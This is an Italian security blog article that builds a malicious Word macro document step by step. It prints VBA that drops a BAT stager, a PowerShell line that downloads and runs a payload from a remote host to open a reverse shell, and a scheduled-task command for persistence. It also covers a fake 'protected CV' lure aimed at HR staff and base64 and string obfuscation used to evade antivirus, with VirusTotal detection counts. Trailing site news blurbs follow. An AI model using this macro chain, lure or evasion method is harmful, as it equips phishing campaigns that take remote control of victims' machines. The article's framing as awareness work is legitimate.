Manuel Roccon : 11 Dicembre 2023 06:55
Sappiamo che documenti malevoli come word vengono usati nelle campagne di phishing per diffondere malware, rubare credenziali e informazioni sensibili. Ma come può un documento word può fare tutte queste cose essendo usato per leggere e scrivere documenti?
In questo articolo vedremo come un documento word con delle macro può permetterci di fare alcune cose interessanti, tra cui salvare dati sul disco, comunicare con un server remoto e ottenere il controllo del dispositivo della vittima.
Verificheremo il funzionamento e vedremo come un antivirus rilevi la minaccia. In seguito applicheremo degli offuscamenti in modo che il malware sia meno rilevabile. Utilizzeremo le macro in un foglio word per far scrivere in un file bat un una directory temporanea contenente un payload.
 Scarica Gratuitamente Byte The Silence, il fumetto sul Cyberbullismo di Red Hot Cyber"Il cyberbullismo è una delle minacce più insidiose e silenziose che colpiscono i nostri ragazzi. Non si tratta di semplici "bravate online", ma di veri e propri atti di violenza digitale, capaci di lasciare ferite profonde e spesso irreversibili nell’animo delle vittime. Non possiamo più permetterci di chiudere gli occhi". Così si apre la prefazione del fumetto di Massimiliano Brolli, fondatore di Red Hot Cyber, un’opera che affronta con sensibilità e realismo uno dei temi più urgenti della nostra epoca. Distribuito gratuitamente, questo fumetto nasce con l'obiettivo di sensibilizzare e informare. È uno strumento pensato per scuole, insegnanti, genitori e vittime, ma anche per chi, per qualsiasi ragione, si è ritrovato nel ruolo del bullo, affinché possa comprendere, riflettere e cambiare. Con la speranza che venga letto, condiviso e discusso, Red Hot Cyber è orgogliosa di offrire un contributo concreto per costruire una cultura digitale più consapevole, empatica e sicura. Contattaci tramite WhatsApp al numero 375 593 1011 per richiedere ulteriori informazioni oppure alla casella di posta [email protected]
Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì. |
Tenteremo di ottenere anche la persistenza utilizzando le attività pianificate di Windows che eseguirà il payload a intervalli regolari e ogni volta tenterà di comunicare con il nostro server malevolo, per scaricare il payload finale e avviare una shell remota sul dispositivo della vittima.
Per il test ho installato Avira Free all’ultima versione e fermata la scansione realtime per permetterci di creare e manipolare il documento malevolo.
Per prima cosa dobbiamo abilitare gli Strumenti sviluppo word che ci faranno accedere all’editor delle macro. Quindi andiamo in:
File -> Opzioni -> Personalizzazione barra applicazioni
Nel primo esempio che creeremo, inseriremo delle macro senza applicare nessun offuscamento particolare. Ora accediamo agli strumenti di sviluppo e creiamo una macro
Questa di seguito è la macro di default che viene creata
Ora andiamo a sostituire quella di default con questa, per permettere l’esecuzione automatica all’apertura del documento.
Ora inseriamo questo codice.
Vediamolo nel dettaglio:
Qui viene definito uno stager: Uno stager è un eseguibile compatto utilizzato negli attacchi informatici a più fasi per stabilire una connessione al server di comando e controllo (C&C) , fornire ed eseguire moduli dannosi più grandi, nel nostro caso il codice powershell per avviare la reverse shell.
Last = "powershell -exec bypass IEX ((new-object net.webclient).downloadstring('http://192.168.218.128/poc.txt')) -WindowStyle Minimized"Lo stager verrà salvato un una directory temporanea in un file BAT:
FileName = oShell.ExpandEnvironmentStrings("%Temp%\d.bat")
Set fso = CreateObject("Scripting.FileSystemObject")
Set oFile = fso.CreateTextFile(FileName)
oFile.WriteLine "@echo off"
oFile.WriteLine Last
oFile.Close
Set oFile = NothingPer mantenere la persistenza verrà creata un’attività schedulata che eseguirà il nostro stager ogni 5 minuti per mantenere la persistenza, lo stager scaricherà ed eseguirà on memory il payload nel server remoto:
CreateObject("Wscript.Shell").Run "CMD /C ""SCHTASKS /CREATE /sc minute /mo 5 /TN """"MyTasks\Notepad"""" /TR '%Temp%\d.bat' /F""""", 0, FalseA questo punto dobbiamo salvare il documento come docm.
I file contenenti macro solitamente vengono bloccati con un avviso quindi dobbiamo confondere ed indurre la vittima ad accettare di attivare le macro. In questo caso supponiamo di attaccare l’ufficio HR che sarà abituata a leggere molti CV.
Quindi camuffiamo il documento come un “documento stranamente protetto”, inserendo come sfondo un CV offuscato e un testo che chieda di accettare il messaggio per leggerlo, in quanto è protetto. Andiamo nell’intestazione del documento, e mettiamoci lo sfondo.
A questo punto mettiamo un messaggio ingannevole
Salviamo tutto e riapriamo il documento, ora l’esca è perfetta.
Ora vediamo funzionamento:
In alto a sinistra è presente il payload, è una reverse shell in powershell che verrà eseguita dallo stager. In questo payload potremmo metterci qualunque cosa.
A destra invece il nostro server HTTP che servirà il payload (poc.txt) che lo stager scaricherà quando la macro nel file verrà eseguito.
Infine in basso a sinistra il nostro listener in ascolto. Una volta eseguito il payload, verrà stabilità la reverse shell alla vittima.
Apriamo il documento ed ecco la nostra reverse shell sulla macchina vittima.
Appena il task verrà eseguito, verrà scaricato il payload (alto a sinistra) dal server eseguito in memory (alto a destra) dalla vittima e quindi verrà aperta la reverse shell.
Analizziamo ora che nella directory TEMP è stato creato il nostro stager.
Ed è presente anche l’operazione pianificata creata che verrà eseguita ogni 5 minuti mantenendo la persistenza.
Tutto bello fin qui, ma vediamo come l’antivirus veda il file. Abilitiamo la scansione real time e apriamo il file.
Il file viene visto ancor prima che venga eseguito…
Offuschiamo lo stager
Powershell ha una funzione che permette di encodare in base64 il codice da eseguire, questo renderà illeggibile il codice se all’interno se non decodificato.
A tale scopo usiamo questa repo di github.
https://github.com/plackyhacker/ps-encoder
powershell -WindowStyle Minimized -exec bypass -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADgALgAxADIAOAAvAHAAbwBjAC4AdAB4AHQAJwApACkAOra sostituiamola nel codice
Offuschiamo il payload che verrà scaricato dal server ed eseguito.
Allo stesso modo offuschiamo il payload presente sul server.
Per far eseguire il payload sarà necessario includere tutto il payload all’interno di $()
Offuschiamo le variabili:
Ho creato uno script al volo per poter offuscare le stringhe nelle variabili in modo che sia molto difficile per l’antivirus comprendere cosa contengono, inoltre alterno caratteri codificati in ascii a caratteri normali.
Essendo che i comandi powershell o CMD contengono apici che possono interferire nella creazione della stringa, può essere necessario modificare l’originale per non generare errori.
Questo è output generato:
Ora sostituiamo man mano le varie stringhe.
Finito tutto verifichiamo di nuovo.
Il funzionamento è analogo a prima.
Ora facciamo una scansione e proviamo anche ad aprire il file word e abilitiamo la scansione real time, ma la versione free di Avira questa volta non ha più rilevato la minaccia.
VirusTotal è un servizio web per analizzare link e documenti e con una moltitudine di antivirus e verificare se vengano riconosciuti malevoli.
Ora non ci resta che analizzare i POC su VirusTotal e verificare quanti antivirus rilevano i documenti come minacce!
Nel primo POC ricaviamo un punteggio di 30 su 60 vendors che hanno rilevato una minaccia.
Quello offuscato otteniamo invece un punteggio di 22 su 62.
Applicando gli offuscamenti abbiamo evaso 8 antivirus rispetto alla versione non offuscata.
Cosa interessante, dopo aver caricato i file di virus total, il giorno dopo il secondo poc ha iniziato ad essere rilevato. Quindi probabilmente le firme contengono anche i rilevamenti di virus total.
Però è bastato modificare un carattere nel testo del documento (quindi la firma del file è cambiata) e il file di nuovo è tornato a essere non rilevabile.
In questo articolo abbiamo visto alcuni punti fondamentali per poter rendere minaccioso un documento word attraverso le macro, per cui è sempre necessario prestare attenzione ai documenti che vengono aperti soprattutto se arrivano via mail, da mittenti sconosciuti e documenti come questo che richiedano l’attivazione delle macro.
Da ricordare che l’utilizzo delle macro in questi documenti sono solo uno dei possibili modi per rendere un documento dannoso, per esempio ci sono anche le CVE, come la scorsa Follina (CVE-2022-30190) entrata nelle classifiche delle 10 vulnerabilità più sfruttate nel 2022, che permettono a questi documenti di poter eseguire codice dannoso sulle macchine delle vittime.
Manuel RocconLunedì 20 ottobre, Channel 4 ha trasmesso un documentario completo condotto da un presentatore televisivo creativo integralmente dall’intelligenza artificiale. “Non sono reale. Per la prima volta...
L’ecosistema del cybercrimine russo è entrato in una fase di profonda mutazione, innescata da una combinazione di fattori: una pressione internazionale senza precedenti da parte delle forze dell’...
I ricercatori della sicurezza hanno scoperto delle vulnerabilità in un sito web della FIA che conteneva informazioni personali sensibili e documenti relativi ai piloti, tra cui il campione del mondo ...
Il 21 ottobre 2025, un gruppo internazionale di ricercatori provenienti da 29 istituzioni di prestigio – tra cui Stanford University, MIT e Università della California, Berkeley – ha completato u...
Nella giornata di oggi, migliaia di utenti Fastweb in tutta Italia hanno segnalato problemi di connessione alla rete fissa, con interruzioni improvvise del servizio Internet e difficoltà a navigare o...
